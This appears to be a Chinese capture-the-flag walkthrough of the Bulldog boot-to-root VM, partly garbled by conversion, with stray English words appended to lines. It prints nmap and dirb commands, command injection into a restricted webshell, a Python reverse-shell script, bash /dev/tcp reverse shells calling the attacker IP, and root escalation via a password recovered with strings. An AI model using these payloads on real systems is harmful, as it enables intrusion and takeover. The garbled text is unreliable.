鬥牛犬工業公司最近將其網站污損,並由惡意德國牧羊犬黑客團隊擁有。這是否意味着有更多的漏洞能夠利用?你爲何不知道?:)php
這是標準的Boot-to-Root。你惟一的目標是進入根目錄並看到祝賀信息,你怎麼作取決於你!html
難度:初學者/中級,若是遇到困難,試着找出你能夠與系統交互的全部不一樣方式。這是我惟一的暗示;)python
提權到root權限並查看flagweb
這個靶機,做者建議在Virtualbox上運行。可是攻擊機kali在vm中。shell
首先是網絡環境,將兩臺處於不一樣虛擬機軟件中的虛擬機配置到同一網卡下。django
Virtualbox設置爲橋接模式,橋接到物理的無線網卡bash
最後kali執行dhclient
命令,請求分配ip,bulldog直接開機便可。網絡
ip發現框架
kali安裝在vmware,做爲攻擊機,ip爲:ssh
bulldog靶機運行在virtualbox虛擬機上,在開機時,已經給出了ip地址:
端口掃描
執行命令 nmap -sS 192.168.0.113
發現 23 , 80 , 8080 端口開放
服務識別
執行命令 nmap -A -p 80,23 192.168.0.113
對23和80進行詳細探測
發現ssh服務和web服務,而且web服務爲python。
首先查看web,同時進行目錄探測 dirb http://192.168.0.113
發現 /admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目錄
發現都重定向到 /admin/login 的登錄頁面
新系統不在使用php或任何CMS,而是使用Django框架開發。這意味着不太可能再找到網頁的注入漏洞,只能找Django框架漏洞;網站不使用php,無需再找php漏洞或者寫php木馬;
有明顯的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。
看到這個,常常作ctf的人,都能看出來,下一步就是hash碰撞
hash碰撞講解:https://www.cnblogs.com/xuanhun/archive/2012/01/01/2309571.html
而後hash碰撞,咱們得出密碼爲 bulldoglover ,可是咱們沒有用戶名
咱們再來分析源碼,發現了這個,咱們推測用戶名爲 sarah
應爲哈希碰撞,後面的爲密碼
真是一箭雙鵰
發現給出的webshell只能使用給定的幾個命令。嘗試命令注入。
python -m SimpleHTTPServer 80
搭建簡易web服務。在webshell上執行命令 pwd&wget http://192.168.0.112
。kali的日誌中發現訪問記錄
1 import socket,subprocess,os 2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 3 s.connect(("192.168.0.113",1234)) 4 os.dup2(s.fileno(),0) 5 os.dup2(s.fileno(),1) 6 os.dup2(s.fileno(),2) 7 p=subprocess.call(["/bin/bash","-i"])
pwd & wget http://192.168.0.112/pythonShell.py
本地日誌顯示成功下載
nc -lvp 1234
成功得到shell
(1) Windows攻擊機開啓nc監聽:nc -lvnp 4444
(2) 直接執行 ls && bash -i >& /dev/tcp/192.168.0.112/1234 0>&1
失敗,server報錯500。
(3) 嘗試屢次bash反彈,最後使用echo命令先輸出命令,再輸入到bash,反彈shell成功:
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
反彈得到shell成功
cat /etc/passwd
, 發現須要關注的用戶有:bulldogadmin、django
bulldogadmin
.hiddenadmindirectory
該隱藏目錄存在兩個文件,一個note提示,一個可執行文件
利用 strings
查看可執行文件中的字符
從以上字符中大體明白了程序的用途和用法
猜想多是密碼,應爲SUPER、 ulitimate、PASSWORD、youCANTget,這些都與最高權限帳號相關
你能夠把他們連到一塊兒正好是SUPERultimatePASSWORDyouCANTget
,H是來混淆咱們的,還好博主認識PASSWORD,咱們查看一下
通過測試,發現確實是密碼
最後讀取flag文件
su命令沒法執行
咱們執行執行python shell
sudo python -c import pty; pty.spawn("/bin/bash")'
而且輸入剛得到的密碼
用戶名:django
密碼:SUPERultimatePASSWORDyouCANTget
不用猜想的密碼,改了django再登陸也能夠。
sudo su提權,密碼是:SUPERultimatePASSWORDyouCANTget
1.目錄暴破出dev和admin頁面:
(1) 可暴破出dev頁面,該頁面源碼裏面有多個帳號的用戶名、郵箱、密碼sha1值。該頁面還連接到webshell命令執行頁面。
(2) 可暴破出admin後臺頁面,登陸密碼經過dev頁面破解sha1獲得。
2.繞過白名單限制,執行命令和反彈shell:繞過限制執行命令比較容易。反彈shell嘗試屢次使用bash反彈shell後成功,沒有嘗試py shell。
3.搜索系統中id爲1000之後的用戶的文件,能夠找到隱藏文件。
4.猜解root密碼很艱難。
難點和踩到的坑:
(1) 發現和破解sha1:在dev頁面查看源碼,發現多個用戶hash後,即便不知道是40位的sha1,也能夠直接去cmd5破解,系統會自動識別,能夠破解出2個帳號。若是用hashcat暴破sha1,須要強大的字段和較長的時間。
(2) 反彈shell應該有多種方法:第一個想到的是bash shell,也想到了python反彈shell。只嘗試了經過bash反彈shell,若是bash反彈不成功,可嘗試往系統echo文件,賦予+x執行權限,執行腳本反彈。也可嘗試Python是否可以反彈shell。
(3) 發現隱藏的包含root密碼的文件,經過搜索id爲1000以後的用戶文件,查看歷史命令,或者查看目錄,也可能找到。
(4) 猜解root密碼:這個是最難的,找到這個文件並不難,可是經過strings查看文件內容,而且拼接字符串爲root密碼,感受難度很大。